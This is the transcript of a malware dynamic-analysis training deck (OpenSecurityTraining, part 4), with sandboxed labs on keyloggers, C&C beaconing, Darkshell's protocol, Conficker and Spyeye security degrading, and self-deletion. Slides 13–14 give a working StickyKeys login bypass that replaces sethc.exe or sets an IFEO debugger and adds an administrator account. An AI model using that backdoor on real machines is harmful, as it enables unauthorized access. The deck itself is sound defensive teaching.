1 / 45

Malware Dynamic Analysis Part 4

Malware Dynamic Analysis Part 4. Veronica Kovah vkovah.ost at gmail. http:// opensecuritytraining.info / MalwareDynamicAnalysis.html. All materials is licensed under a Creative Commons “Share Alike ” license. http:// creativecommons.org /licenses/by- sa /3.0 /. Where are we at?.

Télécharger la présentation

Malware Dynamic Analysis Part 4

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Malware Dynamic AnalysisPart 4 Veronica Kovah vkovah.ost at gmail http://opensecuritytraining.info/MalwareDynamicAnalysis.html

  2. All materials is licensed under a Creative Commons “Share Alike” license http://creativecommons.org/licenses/by-sa/3.0/

  3. Where are we at? • Part 3: Maneuvering techniques • (How malware strategically positions itself to access critical resources) • DLL/code injection • DLL search order hijacking... • Part 4: Malware functionality • Keylogging, Phone home, Security degrading, Self-destruction, etc.

  4. Malware’s Goals • Stealing sensitive information • Credentials • Documents • Communications • Spread as much as possible for other goals • Spam, Distributed denial-of-service (DDOS) • And more!

  5. Malware Functionality (1) • Concrete techniques to attain its goals • Examples we will analyze via subsequent labs • Key logging • Phone Home • Beaconing • Self-Avoidance • Security degrading • Simple stealth techniques (non-rootkit techniques) • Self-destruction • Hiding files

  6. Malware Functionality (2) • Other examples we will not get into • Screen capturing • Password dumping • Process, register, file enumeration • Encrypting files • Etc

  7. Key Logging • Credential and sensitive information theft • Man in the middle • Inline/IAT/EAT hooks • IO Request Packet interception • Interrupt Descriptor Table hooks • Legitimate event monitoring (Built in! So conveninent! :D) • SetWindowsHookEx • GetAsyncKeyState • GetKeyState

  8. Spot SetWindowsHookEx! (1) • We will search for the use of SetWindowsHookEx for password stealing • Start Rohitab API monitor • Search and select the following APIs in the “API Filter” window • SetWindowsHookExA, • SetWindowsHookExW • UnhookWindowsHookEx • Start magania/malware.exe

  9. Spot SetWindowsHookEx! (2) Q1. Which hook procedures are installed? Q2. Does malware.exe monitor key/mouse events? Q3. Which process is calling SetWindowsHookEx for password stealing?

  10. Answers for Keylogger Lab A1. WH_KEYBOARD (2), WH_GETMESSAGE(3) and WH_MOUSE (7) A2. No, SetWindowsHookEx in malware.exe is used for DLL injection A3.explorer.exe

  11. Backdoor • Allows an attacker entry to a compromised system • To bypass authentication • e.g. StickyKeys • To remotely access • Open a listening port • Attacker connects to→compromised machine • Can be easily blocked by firewall • Reverse shell • Compromised machine connects to→ attacker

  12. StickyKeys • MS Windows NT High Contrast Invocation • Utility to help disabled people • C:/widows/system32/sethc.exe • Hit shift key 5 times on login screen • Replace sethc.exe with another program such as cmd.exe • If an attacker can RDP (Remote Desktop Protocol) to the compromised machine, s/he can bypass the authentication for GUI access

  13. Bypassing authentication for fun and profit (1) • We will add a new user at the login screen.Two easy methods: • Replace sethc.exe with cmd.exe • C: \> xcopyc:\windows\system32\cmd.exec:\windows\system32\sethc.exe • Or create a new registry key under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options • Create a new key “sethc.exe” • Add a value “Debugger” with type REG_SZ • Set the value Debugger's value to be “c:\windows\system32\cmd.exe”

  14. Bypassing authentication for fun and profit (2) • Logout from the current session • On the login screen, hit shift key 5 times • Add new user with following commands • (replace USERNAME with a name you want) • net user USERNAME /add • net localgroup administrators /add USERNAME • Restart and login with the newly added user

  15. Network Recap • Layered architecture • Common port list • HTTP (80), HTTPS (443), DNS (53), SMB (445) • http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml • Connection initiator’s port is usually randomly picked between 1024 and 216 - 1 • Common open ports not blocked by firewall • DNS (UDP 53): inbound and outbound • HTTP (TCP 80, 8080): outbound

  16. Inspecting a Packet Capture • Wireshark comes with various decoders (e.g. TCP, HTTP and SMB) and presents the network traffic in human readable format for common protocols • Analyze ~/Updates/sample.pcapwith Wireshark:$ wireshark ~/Updates/sample.pcap& • What's the DNS server's IP address? • What's the IP, domain name, URL of the website visited first? • What's the file name a user copied from http://opensecuritytraining.info/? • Is there anything suspicious about this file?

  17. Monitoring Network Activity • Check information about the association between opened ports and processes • Use TCPView, a SysInternals tool • What is listening on port 135? • Options → Deselect “Resolve Addresses” • Use Netstat, a Windows tool • C:\>netstat -anob • Could you give me more specific answer for the previous question? • Procmon shows process which is opening a network connection

  18. Phone Home (1) • On the host machine • Start inetsim: $ sudoinetsim • Capture network traffic on vboxnet1 • $ wireshark& • listen to vboxnet1 Capture → Options...→ vboxnet1 interface • On the victim VM • Start Darkshell/malware.exe • What do you see? • On the host machine • Stop network capturing: Capture → Stop • Stop victim VM, inetsim: ctrl-c

  19. Phone Home (2) • On the host machine • Edit /etc/inetsim/inetsim.confhttp_bind_port8080 • Start inetsim: $ sudoinetsim • Start pcapcapturing: Capture → Start • On the victim VM • Start Darkshell/malware.exe Q1. What's the CnC server domain name? Q2. Can you see the beacon traffic? Q3. What do you see in the TCP payload?

  20. Answers for Phone Home Lab A1. artmeis.3232.org via port 8080 • Filter the traffic, udp.port == 53 A2. The malware keeps sending data to the CnC server A3. Binary data, looks encrypted

  21. Decryption • Extract HTTP payload • On Wireshark, File → Export → Selected Packet Bytes • Save as /tmp/darkshell.bin • $ hexdump -vC /tmp/darkshell.bin • It requires static analysis to decrypt the payload • We will use a description module posted athttp://ddos.arbornetworks.com/2011/01/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/ • Decrypt the payload • $ MalwareClass/tools/inhouse • $ python darkshell_decrypt.py/tmp/darkshell.bin /tmp/decoded.bin • $ hexdump -vC /tmp/decoded.bin

  22. Phone Home Phormat // Darkshell bot-to-CnCcomms struct { // Header: DWORD dwMagic; // always 0x00000010 for Darkshell // Obfuscated section: char szComputerName[64]; // Name of infected host, NULL-terminated/extended char szMemory[32]; // Amount of memory in infected host; format "%dMB"; NULL-terminated/extended char szWindowsVersion[32]; // Specifies version of Windows; one of: Windows98, Windows95, // WindowsNT, Windows2000, WindowsXP, Windows2003, or Win Vista; // NULL-terminated/extended char szBotVersion[32]; // Specifies version of bot; NULL-terminated/extended; DWORD szUnknown1[4]; // ??? - Always NULL-terminated 'n' // Binary section: char szPadding1[32]; // Filled with 0x00 bytes WORD wUnknown2; // ??? - We have seen 0x00A0, 0x00B0, and 0x00C0 WORD wUnknown3; // ??? - Always 0xFD7F char szPadding2[20]; // Filled with 0x00 bytes WORD wUnknown4; // ??? - Always 0xB0FC BYTE cUnknown5; // ??? - We have seen 0xD6, 0xD7, 0xE6, 0xE7, and 0xF1 BYTE cZero; // Always 0x00 DWORD dwSignature[8]; // Always 0x00000000, 0xFFFFFFFF, 0x18EE907C, 0x008E917C, // 0xFFFFFFFF, 0xFA8D91&C, 0x25D6907C, 0xCFEA907C }; http://ddos.arbornetworks.com/2011/01/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/

  23. DarkshellCnC attack command struct{ DWORD dwCode; // 0x00000030 for HTTP flood attack DWORD dwParameter; // ??? - We have seen 0x0800 char szTarget[99]; // URL of target to attack, NULL-terminated/extended WORD wPort; // Port to attack (usually 80) char szPadding[151]; // Always filled with 0x00 bytes }; • Let’s take a look at the binary, including the attack command • $ cd ~/MalwareClass/tools/inhouse • $ hexdump –C ./darkshell_server_response.bin http://ddos.arbornetworks.com/2011/01/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/

  24. DDoSCommand • Either via static analysis or via real server responses, you can figure out CnC commands (out of scope) • Let’s capture DoS network traffic • On the host machine • Edit /etc/inetsim/inetsim.conf and start inetsimhttp_bind_port 80 • $ python fake_server.py./darkshell_server_response.bin • Run Wireshark to capture network traffic on vboxnet1 • On victim machine • Start Darkshell/malware.exe

  25. Degrading Security • Disable security products • Firewalls, Anti-virus • Exes for malware to kill • Degrade security policy • Internet Explorer's zone related security settings • UAC (User Account Control) settings (since Vista) • Disable Windows update • Registry change • Edit hosts file • C:\Windows\system32\drivers\etc\hosts

  26. Spyeye • Use regshot to find how spyeye/malware.exe is degrading security on the victim VM Q1. What did spyeye do? • Consult MSDN to find out the details • Just for fun, do you see “encrypted” data? Can you decrypt it?

  27. Answers for Spyeye Lab (1) A1.Spyeyedegraded Internet Explorer's security settings by adding and modifying various registry keys related to IE. • Zones

  28. Answers for Spyeye Lab (2) • URL Action Flags • URL Policy Flags

  29. Answers for Spyeye Lab (3) • Some additional info • UserAssist: Information about frequently opened files • Use Nirsoft'sUserAssitView to see the data • MuiCache: When a new application is started, Windows stores the application name extracted from the file.

  30. Conficker (1) • Run conficker/malware.exe • What do you see? • What would you do with the sample?

  31. Handling DLLs • DLL cannot run by itself • Use CFF Explorer to check exported functions • Use RemoteDLL.exe • Inject MalwareClass/misc/hello.dll into iexplorer.exe • What do you see? • Use rundll32.exe • rundll32.exe <dllpath>,<export> [optional arguments] • Executable path: c:\windows\system32\rundll32.exe

  32. Conficker (2) • Get a snapshot of the current Windows services’ state • C:\>cd c:\SysinternalSuite • C:\>PsService.exe > c:\temp\first.txt • To run confickersample, rename conficker/malware.exeto conficker/malware.dll • Two options: • Run it with RemoteDLL.exe • You may see a failure message but the malware actually ran • Or run it with rundll32.exe • Change directory to conficker in the DOS prompt • C:\> c:\windows\system32\rundll32.exe malware.dll,fakenameNote that “fakename” is a fake function name but rundll32.exe will still load the DLL, executing the DllMain()

  33. Conficker(3) • Get the second snapshot of the current Windows services’ state • C:\>PsServices.exe > c:\temp\second.txt • Diff the two files • Use PSPad.exe (or any other GUI text editor) • Open c:\temp\first.txt • Tools → Text Differences → Text Diff with This Files... → select c:\temp\second.txt Q1. How did conficker degrade security?

  34. Answers A1. The following services have been stopped • ERSvc (Error Reporting Service) • wscsvc (Security Center) • wuauserv (Automatic Updates)

  35. Self-Destruction • Malware esp. dropper often deletesitself after creating other files • Sometimes makes it hard to track down where the malware came from • A primitive way of hiding, copy or move itself to somewhere else, usually “legitimate” looking name (e.g. Yahoo-Messenger.exe) or replace existing files (e.g. svchost.exe)

  36. How did it delete itself? • Use Process Monitor to figure out how two malware samples delete themselves • Darkshell/malware.exe • Hydraq/malware.exe Q1. How did Darkshell malware delete itself? Q2. How did Hydraq malware delete itself? Q3. Which tool did you use?

  37. Answers for Self-Destruction Lab A1.DarkShell • Invokes a process “cmd.exe /c del malware.exe” A2.Hydraq • Drops DFS.bat and then invokes it, causing it to delete the malware.exe and itself • cmd /c “c:\Windows\DFS.bat” • Let's get DFS.bat using CaptureBAT

  38. Capturing deleted files • Install Malware/tools/CaptureBAT-Setup-2.0.0-5574.exe • Rebooting is required • Run CaptureBAT • C:\> “c:\Program Files\Capture\CaptureBAT.exe” -c • Execute Hydraq malware again • Deleted files will be copied to “c:\Program Files\Capture\logs”

  39. Hiding Files • In this lab, we will find how IMworm hides its created files • In my opinion, this is NOT considered as a rootkit technique • GMER does not catch the hidden files • Use procmon and monitor file activities of IMworm/malware.exe • How did malware hide its created files? • Hint: look events around when WriteFile operation events take place

  40. File Attributes in procmon http://blogs.msdn.com/b/jmazner/archive/2010/05/27/decoding-the-fileattributes-field-in-processmonitor.aspx

  41. Change File Attributes • To extract dropped files, you can simply change the attributes of hidden files • Open an Explorer window and check if you can see lsass.exe either in c:\windows or in c:\windows\system • Use DOS attrib command • c:\> attrib /? • c:\> attrib -H -S {path to the file}

  42. Self-Avoidance • Malware often uses mutexes to avoid reinfecting a compromised machine. • “A mutex object is a synchronization object whose state is set to signaled when it is not owned by any thread, and nonsignaled when it is owned” • A good indicator to write a detection signature http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266(v=vs.85).aspx

  43. Poison Ivy's Self-Avoidance • To see newly created mutex • C:\> cd c:\SysinternalSuite • C:\> handle.exe-a > c:\temp\before.txt • Run MalwareClass/samples/PoisonIvy/piagent.exe • C:\> handle.exe-a c:\temp\after.txt • Use pspad.exe to diff the two files Q1. Can you find a suspicious mutex, which process created it?

  44. Other usage of mutexes • To see newly created mutex • C:\> cd c:\SysinternalSuite • C:\> handle.exe-a > c:\temp\before.txt • Run MalwareClass/samples/eldorado/malware.exe • C:\> handle.exe-a c:\temp\after.txt • Use pspad.exe to diff the two files Q1. Can you find suspicious mutexes? Q2. What do you think they are for?

  45. Anti-VM Techniques • If malware detects virtual machine artifacts, it behaves differently or does not run at all • Due to the popularity of virtual machines, less malware uses anti-VM techniques; important servers may run on a VM. • Virtual machine specific artifacts • Fundamental artifacts related to virtualization • e.g. Red Pill (sidt), No Pill (sgdt, sldt) for single processor

More Related